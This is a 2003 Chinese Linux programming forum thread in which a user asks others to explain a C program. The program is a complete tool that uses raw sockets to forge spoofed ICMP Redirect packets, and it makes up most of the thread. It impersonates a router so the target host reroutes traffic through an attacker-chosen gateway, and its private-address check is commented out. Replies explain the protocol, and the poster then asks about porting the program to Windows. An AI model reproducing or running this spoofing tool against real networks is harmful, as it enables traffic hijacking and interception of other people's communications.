一头雾水,请大家指教!

milanluo 2003-08-22 11:37:13
下面这个重定位的程序,看了整个晚上,还是看不懂,请大家多多少少给点解释,
启发也行阿

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define __FAVOR_BSD
#include <netinet/udp.h>
#include <arpa/inet.h>

#define CHKADDRESS(_saddr_)\
{\
u_char *p=(char *) & (_saddr_);\
if((p[0]==10)\
||(p[0]==168 && 16<=p[1] && p[1]<=31)\
||(p[0]==192 && p[1]==168));\
else {\
fprintf(stderr,"IP address error.\n");\
exit(EXIT_FAILURE);\
}\
}

enum{CMD_NAME,TARGET_IP,OLD_ROUTER,NEW_ROUTER,DST_IP};

void make_udp_header (struct udphdr * udp);
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen);void make_icmp5_header(struct icmp*icmp,u_int gw_ip);
u_short checksum (u_short * ptr,int nbytes);

int main(int argc,char * argv[])
{
struct sockaddr_in dest;
unsigned char buff [1500];
struct ip * ip_new;
struct ip * ip_old;
struct icmp * icmp;
struct udphdr *udp;
int s;
int size;
int on = 1;

if (argc!=5)
{
fprintf (stderr,"usage %s targetd_host old_router new_router dst_ip\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}

if ((s=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
{
perror("socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *) & on, sizeof(on))<0)
{
perror("setsockopt (IP_HDRINCL)");
exit(EXIT_FAILURE);
}

ip_new = (struct ip*) (buff);
icmp=(struct icmp*) (buff+20);
ip_old = (struct ip*)(buff+20+8);
udp=(struct udphdr *)(buff+20+8+20);
size=20+8+20+8;

make_udp_header(udp);
make_ip_header(ip_old,inet_addr(argv[TARGET_IP]),inet_addr(argv[DST_IP]),IPPROTO_UDP,100);
make_icmp5_header(icmp,inet_addr(argv[NEW_ROUTER]));
make_ip_header(ip_new,inet_addr(argv[OLD_ROUTER]),inet_addr(argv[TARGET_IP]),IPPROTO_ICMP,size);

memset((char*) &dest,0,sizeof(dest));
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=inet_addr(argv[TARGET_IP]);
// CHKADDRESS(dest.sin_addr.s_addr);

if(sendto(s,buff,size,0,(struct sockaddr *) & dest,sizeof (dest))<0)
{
perror(" sendto");
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}

void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen)
{
memset((char *) ip,0,sizeof(struct ip));
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_id=htons(0);
ip->ip_off=0;

#ifdef __linux
ip->ip_len=htons(iplen);
ip->ip_off=htons(IP_DF);
#else
ip->ip_len=iplen;
ip->ip_off=IP_DF;
#endif
ip->ip_ttl=2;
ip->ip_p=proto;
ip->ip_src.s_addr=target_ip;
ip->ip_dst.s_addr=dst_ip;
ip->ip_sum=0;
ip->ip_sum=checksum((u_short *)ip,sizeof(struct ip));
}

void make_icmp5_header(struct icmp *icmp,u_int gw_ip)
{
icmp->icmp_type=ICMP_REDIRECT;
icmp->icmp_code=0;//ICMP_REDIRECT_HOST;
icmp->icmp_gwaddr.s_addr=gw_ip;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum((u_short *) icmp,8+20+8);
}

void make_udp_header (struct udphdr * udp)
{
udp->uh_sport = htons(0);
udp->uh_ulen=htons((u_short) sizeof(struct udphdr));
udp->uh_dport=htons(33434);
udp->uh_sum=htons(0);
}
u_short checksum(u_short * data,int len)
{
u_long sum=0;
for (;len>1;len-=2)
{
sum+=*data++;
if (sum& 0x80000000)
sum=(sum&0xffff)+(sum>>16);
}
if (len==1)
{
u_short i=0;
* (u_char*)(&i)=*(u_char*)data;
sum+=i;
}

while (sum>>16)
sum = (sum & 0xffff)+(sum>>16);
return(sum==0xffff)?sum:~sum;
}

...全文
52 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
CoolQ 2003-08-23
  • 打赏
  • 举报
回复
你说的是ICMP Redirect吧?
不知道你不明白的是什么?不明白ICMP Redirect的概念?
稍做一下解释:
假设HostA与多个网络连接,默认的Gateway是RouterA,如果HostA想与别的网络主机B相连接,如果HostA上没有到B的路由,就只能把包发给RouterA,但是RouterA经过检查自己的路由表,发现RouterA需要把包发给RouterB,但是RouterB与HostA也是直接相连,所以从HostA到RouterA的过程就是多余的,所以RouterA就发给HostA一个ICMP Redirect,通知HostA到HostB的默认路由是RouterB。
ICMP Redirect的具体结构是:
IP头(20字节)+ICMP头(8字节)(其中一个字节的type:5,代表ICMP Redirect,一个字节的code:0-3, 2个字节的checksum, 4个字节的正确路由信息)+HostA的IP头(20字节)+HostA的信息,比如说UDP信息(8字节)。
上边的程序就是具体构造这个包而已,其中他的CHKADDRESS没有用,是做测试用的。
而且注意他的TTL设成了2,是为了保证这个Redirect包只在本地网才存在。
具体的东西,请参看 TCP/IP详解,卷一:协议,我看的是英文版的,是Section 9.5 P119
如果你还是不明白的化,我就没有办法了。
milanluo 2003-08-23
  • 打赏
  • 举报
回复
没人理啊:P
CoolQ 2003-08-23
  • 打赏
  • 举报
回复
你把Linux下用的头文件改写一下不就的了?
milanluo 2003-08-23
  • 打赏
  • 举报
回复
如果我想把这个程序改到windows下,那该怎么办呢?
上面的这些头文件windows可是没有阿

23,120

社区成员

发帖
与我相关
我的任务
社区描述
Linux/Unix社区 应用程序开发区
社区管理员
  • 应用程序开发区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧